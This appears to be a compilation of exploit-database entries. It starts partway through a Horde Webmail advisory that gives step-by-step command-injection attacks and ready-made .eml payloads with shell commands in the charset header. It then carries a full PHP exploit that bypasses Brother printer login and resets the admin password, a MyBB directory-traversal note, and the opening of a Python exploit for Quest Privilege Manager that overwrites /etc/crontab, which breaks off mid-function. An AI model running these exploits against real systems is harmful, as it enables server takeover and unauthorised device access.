/* 561 */ $func = 'encryptMessage';
/* 562 */ break;
/* ... */
/* 586 */ $this->_initDrivers();
/* 587 */
/* 588 */ foreach ($this->_backends as $val) {
/* 589 */ try {
/* 590 */ return $val->$func($text, $params);
/* 591 */ } catch (Horde_Crypt_Exception $e) {}
/* 592 */ }
In conclusions:
If Horde server has enabled “GnuPG feature” any unprivileged user is
able to execute arbitrary code.
Enable GPG feature for attacker account (“Enable PGP functionality?”
checkbox on “PGP Configure PGP encryption support.” section in
Prefferences->Mail page )
Create some contact in the attacker AddressBook, add any valid Public
PGP key, and add this address to default identity
Create another contact in the attacker AddressBook, add any valid
Public PGP key, and change email address to some$(desired command to
execute) contact@somedomain.com
Create a new message to some$(desired command to execute) contact@somedomain.com
Choose Encryption:PGP Encrypt Message option
Click Send button
And desired command will be executed on the Horde server.
Proof of Concept – Authenticated Code Execution
For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:
Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.
We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).
To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”
Step 2 – Configure Horde web-mail authentication ($conf[auth][driver])
to “Let a Horde application handle authentication” and click “Generate
Horde Configuration”:
Step 3 – logout and login with your gmail account. Currently we are
login as regular user so we can try to execute desired commands:
Go to Preferences -> Mail and click on PGP link. Check Enable PGP
functionality? checkbox and click “Save”:
Create “from” contact in our AddressBook: “Address Book -> New Contact
-> in Address Book of …”
Personal tab – Last Name: mymailboxwithPGPkey
Communication tab – Email: mymailboxwihPGP@any.com
Other tab – PGP Public Key: any valid Public PGP key.
For example:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: SKS 1.1.6
Comment: Hostname: keyserver.ubuntu.com
mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01
YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ
5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D
/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82
z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/
POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr
72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch
zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl
Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI
fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC
AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k
YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep
fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW
BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ
HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs
Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/
VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0
P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC
sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw
gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ
WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv
iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27
kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=
=RHjX
-----END PGP PUBLIC KEY BLOCK-----
Click “Add” button:
Go to Preferences -> Global Preferences and click on Personal
Information link. Put mymailboxwihPGP@any.com into field The default
e-mail address to use with this identity and Click “Save”:
Create our “to” contact in our AddressBook: “Address Book -> New
Contact -> in Address Book of …”
Personal tab – Last Name: contact_for_attack
Communication tab – Email: hereinj@any.com
Other tab – PGP Public Key: any valid Public PGP key (it can be the
same as in the previous step)
And click “Add” button:
Inject our command: Click on Edit. Go to Communication Tab, put cursor
in Email field and chose “Inspect Element (Q)” from context menu:
Delete “email” from the type argument and close Inspector:
1
<input name="object[email]" id="object_email_" value="hereinj@any.com"
type="email">
Edit the address as we want – for example hereinj$(touch
/tmp/hereisvuln)@any.com and click “Save”:
Create a new message ( Mail -> New Message) with our contact as recipient:
Choose PGP Encrypt Message in Encryption option:
Enter any subject and any content. Click “Send”
We will get “PGP Error:…”
It is ok – let’s check our server:
We have a new file “hereisvuln” so our command was executed.
Unauthentication Remote Code Execution
Horde Webmail contains a vulnerability that allows a remote attacker
to execute arbitrary code with the privileges of the user who runs the
web server.
Vulnerable code: decryptSignature() function of GPG feature.
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
/* 539 */ public function decryptSignature($text, $params)
/* 540 */ {
/* ... */
/* 550 */ /* Options for the GPG binary. */
/* 551 */ $cmdline = array(
/* 552 */ '--armor',
/* 553 */ '--always-trust',
/* 554 */ '--batch',
/* 555 */ '--charset ' . (isset($params['charset']) ?
$params['charset'] : 'UTF-8'),
/* 556 */ $keyring,
/* 557 */ '--verify'
/* 558 */ );
/* ... */
/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true);
/* ... */
$params[‘charset’] will be added to $cmdline array and passed to _callGpg():
/* 642 */ public function _callGpg(
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
/* 644 */ $parseable = false, $verbose = false
/* 645 */ )
/* 646 */ {
/* … */
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
/* … */
/* 681 */ if ($mode == 'w') {
/* … */
/* 704 */ } elseif ($mode == 'r') {
/* 705 */ if ($fp = popen($cmdline, 'r')) {
/* … */
Our $params[‘charset’] will be in command line that is going to be executed.
decryptSignature() is called from decrypt() method:
Path – /Horde/Crypt/Pgp.php:
/* 611 */ public function decrypt($text, $params = array())
/* 612 */ {
/* 613 */ switch (isset($params['type']) ? $params['type'] : false) {
/* 614 */ case 'detached-signature':
/* 615 */ case 'signature':
/* 616 */ /* Check for required parameters. */
/* 617 */ if (!isset($params['pubkey'])) {
/* 618 */ throw new InvalidArgumentException(
/* 619 */ 'A public PGP key is required to verify a signed message.'
/* 620 */ );
/* 621 */ }
/* 622 */ if (($params['type'] === 'detached-signature') &&
/* 623 */ !isset($params['signature'])) {
/* 624 */ throw new InvalidArgumentException(
/* 625 */ 'The detached PGP signature block is required to verify the
signed message.'
/* 626 */ );
/* 627 */ }
/* 628 */
/* 629 */ $func = 'decryptSignature';
/* 630 */ break;
/* ... */
/* 650 */ $this->_initDrivers();
/* 651 */
/* 652 */ foreach ($this->_backends as $val) {
/* 653 */ try {
/* 654 */ return $val->$func($text, $params);
/* 655 */ } catch (Horde_Crypt_Exception $e) {}
/* 656 */ }
/* ... */
decrypt() with needed parameters is used in verifySignature():
Path – /imp/lib/Crypt/Pgp.php
/* 339 */ public function verifySignature($text, $address, $signature = '',
/* 340 */ $charset = null)
/* 341 */ {
/* 342 */ if (!empty($signature)) {
/* 343 */ $packet_info = $this->pgpPacketInformation($signature);
/* 344 */ if (isset($packet_info['keyid'])) {
/* 345 */ $keyid = $packet_info['keyid'];
/* 346 */ }
/* 347 */ }
/* 349 */ if (!isset($keyid)) {
/* 350 */ $keyid = $this->getSignersKeyID($text);
/* 351 */ }
/* 353 */ /* Get key ID of key. */
/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid));
/* 356 */ if (empty($signature)) {
/* 357 */ $options = array('type' => 'signature');
/* 358 */ } else {
/* 359 */ $options = array('type' => 'detached-signature', 'signature'
=> $signature);
/* 360 */ }
/* 361 */ $options['pubkey'] = $public_key;
/* 363 */ if (!empty($charset)) {
/* 364 */ $options['charset'] = $charset;
/* 365 */ }
/* 369 */ return $this->decrypt($text, $options);
/* 370 */ }
verifySignature() is called from _outputPGPSigned():
Path – /imp/lib/Mime/Viewer/Pgp.php
/* 387 */ protected function _outputPGPSigned()
/* 388 */ {
/* 389 */ global $conf, $injector, $prefs, $registry, $session;
/* 390 */
/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap());
/* 392 */ $base_id = reset($partlist);
/* 393 */ $signed_id = next($partlist);
/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next');
/* 395 */
/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) {
/* 397 */ return array(
/* 398 */ $sig_id => null
/* 399 */ );
/* 400 */ }
/* ... */
/* 417 */ if ($prefs->getValue('pgp_verify') ||
/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) {
/* 419 */ $imp_contents = $this->getConfigParam('imp_contents');
/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id);
/* ... */
/* 433 */ try {
/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
/* 435 */ if ($sig_raw =
$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {
/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw,
$this->_getSender()->bare_address, null, $sig_part-
> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));
/* ... */
And it is used in _renderInline():
Path – /imp/lib/Mime/Viewer/Pgp.php
/* 134 */ protected function _renderInline()
/* 135 */ {
/* 136 */ $id = $this->_mimepart->getMimeId();
/* 138 */ switch ($this->_mimepart->getType()) {
/* ... */
/* 142 */ case 'multipart/signed':
/* 143 */ return $this->_outputPGPSigned();
Let’s go back to _outputPGPSigned() method. We can see a few
requirements before the needed call:
$conf[‘gnupg’][‘path’] should be not empty. This value can be edited
only by admin(if he/she wants to allow users to use GPG feature he/she
needs to define value for this config).
Current user has enabled “use_pgp” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences
Current user has enabled “pgp_verify” feature in his preferences
Also we see that our charset value is taken from $sig_part ->
getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)
Our value will be stored during parsing of PGP parts:
Path – /Horde/Crypt/Pgp/Parse.php
/* 150 */ public function parseToPart($text, $charset = 'UTF-8')
/* 151 */ {
/* 152 */ $parts = $this->parse($text);
/* ... */
/* 162 */ while (list(,$val) = each($parts)) {
/* 163 */ switch ($val['type']) {
/* ... */
/* 200 */ case self::ARMOR_SIGNED_MESSAGE:
/* 201 */ if ((list(,$sig) = each($parts)) &&
/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) {
/* 203 */ $part = new Horde_Mime_Part();
/* 204 */ $part->setType('multipart/signed');
/* 205 */ // TODO: add micalg parameter
/* 206 */ $part->setContentTypeParameter('protocol',
'application/pgp-signature');
/* 207 */
/* 208 */ $part1 = new Horde_Mime_Part();
/* 209 */ $part1->setType('text/plain');
/* 210 */ $part1->setCharset($charset);
/* 211 */
/* 212 */ $part1_data = implode("\n", $val['data']);
/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data,
"\n\n") + 2));
/* 214 */
/* 215 */ $part2 = new Horde_Mime_Part();
/* 216 */
/* 217 */ $part2->setType('application/pgp-signature');
/* 218 */ $part2->setContents(implode("\n", $sig['data']));
/* 219 */
/* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset);
/* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n",
$val['data']) . "\n" . implode("\n", $sig['data']));
/* 222 */
/* 223 */ $part->addPart($part1);
/* 224 */ $part->addPart($part2);
/* 225 */ $new_part->addPart($part);
/* 226 */
/* 227 */ next($parts);
/* 228 */ }
/* 229 */ }
/* 230 */ }
/* 231 */
/* 232 */ return $new_part;
/* 233 */ }
It is called from _parsePGP():
Path – /imp/lib/Mime/Viewer/Plain.php
×
1
2
3
4
5
6
7
8
/* 239 */ protected function _parsePGP()
/* 240 */ {
/* 241 */ $part =
$GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart(
/* 242 */ new Horde_Stream_Existing(array(
/* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true))
/* 244 */ )),
/* 245 */ $this->_mimepart->getCharset()
/* 246 */ );
Our charset value is taken from CHARSET attribute of Content-Type
header of parent MIMEpart.
_parsePGP() is used in _getEmbeddedMimeParts() method and from Horde
Webmail ver 5.2.0 it looks like:
Path – /imp/lib/Mime/Viewer/Plain.php
/* 222 */ protected function _getEmbeddedMimeParts()
/* 223 */ {
/* 224 */ $ret = $this->getConfigParam('pgp_inline')
/* 225 */ ? $this->_parsePGP()
/* 226 */ : null;
We can see an additional requirement – our function will be called
only if ‘pgp_inline‘ config parameter is “true”. It is defined in:
Path – /imp/config/mime_drivers.php
/* 37 */ /* Scans the text for inline PGP data. If true, will strip this data
/* 38 */ * out of the output (and, if PGP is active, will display the
/* 39 */ * results of the PGP action). */
/* 40 */ 'pgp_inline' => false
Default value is false, so the major part of Horde servers is not
vulnerable and our attack is relevant only if an admin manually has
changed this line to ‘pgp_inline‘ => true.
But in older versions (before 5.2.0) the code of
_getEmbeddedMimeParts() is a bit different:
Path – /imp/lib/Mime/Viewer/Plain.php
/* 227 */ protected function _getEmbeddedMimeParts()
/* 228 */ {
/* 229 */ $ret = null;
/* 230 */
/* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) &&
/* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) {
/* 233 */ $ret = $this->_parsePGP();
/* 234 */ }
So instead of requirement to have config parameter we have requirement
of ‘pgp_scan_body‘ Preference of current user. And it is more likely
to find a victim with needed preferences. We saw where our injected
command is executed and from where and when it is taken
During rendering of massage we:
Will parse PGP values:
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at
[/Horde/Mime/Viewer/Base.php:298]
#2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at
[/imp/lib/Contents.php:1114]
#3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186]
#4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]
Will use them in:
#0 IMP_Mime_Viewer_Plain->_parsePGP() called at
[/imp/lib/Mime/Viewer/Plain.php:225]
#0 IMP_Mime_Viewer_Pgp->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207]
#2 Horde_Mime_Viewer_Base->_renderInline() called at
[/Horde/Mime/Viewer/Base.php:156]
#3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654]
#4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462]
#5 IMP_Contents->getInlineOutput() called at
[/imp/lib/Ajax/Application/ShowMessage.php:296]]
In conclusions:
If Horde server has vulnerable configuration:
Enabled “GnuPG feature” (there is path to gpg binary in
$conf[gnupg][path] setting)
Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in
/imp/config/mime_drivers.php
And the victim has checked the next checkbox in his/her preferences (
“PGP Configure PGP encryption support.” in Prefferences->Mail) :
“Enable PGP functionality”
“Should PGP signed messages be automatically verified when viewed?” if
it is not checked our command will be executed when the victim clicks
on the link “Click HERE to verify the message.”
For versions before 5.2.0: “Should the body of plaintext message be
scanned for PGP data”
An attacker can create email with PGP data, put desired command into
CHARSET attribute of ContentType header, and this command will be
executed on Horde server when the victim opens this email.
Proof of Concept – Remote Code Execution
For Proof of Concept we can use preconfigured image of Horde server
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
that work on any platform”):
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
Step 1 – Login as admin (by default user:bitnami) and go to
Administration -> Configuration and choose Horde (horde). Open GnuPG
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
“Generate Horde Configuration“:
Now we have enabled GPG feature on our server and we can login as
regular user and try to execute desired commands. But Bitnami image
does not have installed and configured Mail server so we need to use
external one or install it on local machine.
We will use gmail account (to be able to login to it from Horde I had
to change Gmail account setting Allow less secure apps: ON).
To use external Mail server we need to change the next setting:
“Administrator Panel” -> “Configuration” -> “Horde” ->
“Authentication”
Configure the application authentication ($conf[auth][driver]) –
change this option to “Let a Horde application handle authentication”
and click “Generate Horde Configuration”.
If we have Horde Webmail ver 5.2.0 or newer we need to edit
/imp/config/mime_drivers.php file. Login to the console of bitnami
image (default bitnami:bitnami) and run the next command:
sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php
Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and
save the changes.
Step 2 – Logout and login with your gmail account.
Step 3 – Go to Preferences -> Mail and click on PGP link:
Check Enable PGP functionality checkbox and click “Save”
Check Should PGP signed messages be automatically verified when viewed checkbox
For versions before 5.2.0 check “Should the body of plain-text message
be scanned for PGP data” checkbox Click “Save”
For version before 5.2.0:
Step 4 – Go to the Mail, take any mail folder (for example Drafts),
and chose “Import” item from context menu and import attack_whoami.eml
file (in the end of this blog).
Click on the imported email:
Our Horde serve is launched under daemon user
Step 5 – We can do the same with attack_touch.eml (in the end of this
blog) file (import it and click on the new mail) and check /tmp
folder:
attack_touch.eml
Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_touch_tmp_youarevuln
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET="US-ASCII`touch /tmp/youarevuln`";
format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is a sample of a clear signed message.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSQUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----
attack_whoami.eml
Date: Fri, 04 Nov 2016 16:04:19 +0000
Message-ID: <20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com>
From: Donald Trump <attacker@attacker.com>
To: SomeUser@mydoamin.com
Subject: PGP_INLine_whoami
X-IMP-Draft: Yes
Content-Type: text/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is a sample of a clear signed message.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP/eaP2nssHHDTHyPBSjgwyzryguwBd2szF
U5IFy5JfU+PAa6NV6m/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh
DztuhjzJMEzwtm8KTKBnF/LJ9X05pSsUvoHfLZ/waJdVt4E/xfEs90l8DT1HDdIz
CvynscaD+wA=
=Xb9n
-----END PGP SIGNATURE-----
<?php
/*
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)
--
Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.
PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/;
--
Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.
Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)
This information can be used to crack current password from exported cookie.
Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.
Confirmed vulnerable:
MFC-J6973CDW
MFC-J4420DW
MFC-8710DW
MFC-J4620DW
MFC-L8850CDW
MFC-J3720
MFC-J6520DW
MFC-L2740DW
MFC-J5910DW
MFC-J6920DW
MFC-L2700DW
MFC-9130CW
MFC-9330CDW
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W
For educational purposes only.
*/
/* ----------------------------- */
$address = "http://192.168.1.111";
//$mode = "silent";
$mode = "changepass";
$newpass = "letmein";
/* ----------------------------- */
$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);
function getPwdValue($address) {
global $user_agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
$dom = new DOMDocument();
$dom->loadHTML($content);
$inputs = $dom->getElementsByTagName('input');
foreach($inputs as $i) {
if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
return $i->getAttribute('name');
}
}
}
function getLogValue($address) {
global $user_agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
$dom = new DOMDocument();
$dom->loadHTML($content);
if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) {
print 'Seems like password is not set! Exiting.'; exit; }
$value = $dom->getElementById('LogBox')->getAttribute('name');
return $value;
}
function getCookie($host) {
global $address, $user_agent;
$log_var = getLogValue($address);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
$log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
if($content == true) {
$cookies = array();
preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);
if(!empty($cookies['cookie'])) {
$exploded = explode(';', $cookies['cookie'][0]);
} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
return trim($exploded[0]);
}
if($mode === "silent") {
print 'Here\'s your authorization cookie: '.getCookie($address);
} elseif ($mode === "changepass") {
global $address, $newpass;
$cookie = getCookie($address);
$pwd_var = getPwdValue($address);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$content = curl_exec($ch);
if($content == true) {
print 'Password changed to: '.$newpass;
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
}
?>
Description:
============
product: MyBB
Homepage: https://mybb.com/
vulnerable version: < 1.8.11
Severity: Low risk
===============
Proof of Concept:
=============
vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple
vulnerability file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php
vulnerability Code:
Line 326 $path = $mybb->input['pathfolder'];
Line 327 $dir = @opendir(MYBB_ROOT.$path);
if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!
============
Fixed:
============
This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
=============
#!/usr/bin/env python2
"""
# Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write
# Date: 10/Mar/2017
# Exploit Author: m0t
# Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/
# Version: 6.0.0-27, 6.0.0-50
# Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86
# CVE : 2017-6554
REQUIREMENTS
- Root privs are required to bind a privileged source port
- python hexdump: pip install hexdump
This PoC gains arbitrary command execution by overwriting /etc/crontab
In case of successful exploitation /etc/crontab will contain the following line
* * * * * root touch /tmp/pwned
"""
import binascii as b
import hexdump as h
import struct
import sys
import socket
from Crypto.Cipher import AES
cipher=None
def create_enc_packet(action, len1=None, len2=None, body=None):
global cipher
if body == None:
body_raw = b.unhexlify("50696e6745342e362e302e302e32372e")
else:
body_raw = b.unhexlify(body)
#pad
if len(body_raw) % 16 != 0:
body_raw += "\x00" * (16 - (len(body_raw) % 16))
enc_body = cipher.encrypt(body_raw)
if len1 == None:
len1 = len(body_raw)
if len2 == None:
len2 = len(enc_body)
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
return head+enc_body
def decrypt_packet(packet):
global cipher
return cipher.decrypt(packet[80:])
def create_packet(action, len1=None, len2=None, body=None):
if body == None:
body = "50696e6745342e362e302e302e32372e"
if len1 == None:
len1 = len(body)/2
if len2 == None:
len2 = len1
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
return head+b.unhexlify(body)
#extract action code from first 4b, return action found
def get_action(packet):
code = struct.unpack('>I',packet[:4])[0]
return code
def generate_aes_key(buf):
some_AES_bytes = [
0xDF, 0x4E, 0x34, 0x05, 0xF4, 0x4D, 0x19, 0x22, 0x98, 0x4F,
0x58, 0x62, 0x2C, 0x2A, 0x54, 0x42, 0xAA, 0x76, 0x53, 0xD4,
0xF9, 0xDC, 0x98, 0x90, 0x23, 0x49, 0x71, 0x12, 0xEA, 0x33,
0x12, 0x63
];
retbuf = ""
if len(buf) < 0x20:
print("[-] initial key buffer too small, that's bad")
return None
for i in range(0x20):
